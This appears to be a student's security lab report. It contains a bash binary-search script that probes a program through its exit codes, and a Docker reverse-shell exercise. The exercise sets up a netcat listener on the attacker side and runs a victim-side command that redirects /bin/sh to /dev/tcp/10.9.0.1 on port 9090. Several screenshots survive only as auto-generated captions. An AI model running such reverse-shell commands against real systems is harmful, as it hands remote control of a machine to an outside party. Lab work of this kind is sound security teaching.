**LAB 2 OUTPUT**

**CODE:**

#!/bin/bash

set -u

min=0

max=2147483647

while [ $min -le $max ];

do

mid=$((min+(max-min)/2))

./prob1 $mid

check=$?

if [ $check -eq 2 ];then

min=$mid

elif [ $check -eq 1 ];then

max=$mid

else

break

fi

done

**OUTPUT:**

Text

Description automatically generated

**2.**

**ATTACKER**

Text

Description automatically generated

* To send a reverse shell attack, **$ nc –l 9090**
* To test if the attack was successful, **$ ifconfig** was run.

**VICTIM**Graphical user interface, text

Description automatically generated

* $ dockps
* $ docksh 59
* /bin/sh -I > /dev/tcp/10.9.0.1/9090 <&1 2>&1 . This redirects input/output and error to the attacker’s docker.

**SETTING UP SERVER**

Text

Description automatically generated

List of commands run for setting up the server:

* $ dockps
* $ dcbuild
* $ dcup

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